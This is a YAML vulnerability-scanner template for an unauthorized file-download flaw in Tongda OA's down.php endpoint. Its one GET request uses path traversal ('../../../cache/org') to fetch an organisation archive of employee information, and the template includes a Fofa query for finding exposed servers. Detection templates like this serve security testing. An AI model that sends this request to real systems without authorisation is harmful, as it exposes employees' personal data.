id: tongda-down-php-unauthorized-access

info:
  name: 通达OA down.php存在未授权访问漏洞
  author: Y3y1ng
  severity: high
  verified: true
  description: |-
    通达OA（Office Anywhere网络智能办公系统） inc/package/down.php 接口存在未授权访问漏洞，通过此漏洞攻击者构造特殊链接，下载敏感文件，获取企业员工个人信息。
    Fofa: app="TDXK-通达OA"
  reference:
    - https://mp.weixin.qq.com/s/YiPk8YRzgLEdwVWA-F-4XA
  tags: tongda
  created: 2023/12/04
rules:
  r0:
    request:
      method: GET
      path: /inc/package/down.php?id=../../../cache/org
    expression: |
      response.status == 200 && 
      response.raw_header.bcontains(b'org.zip')
expression: r0()+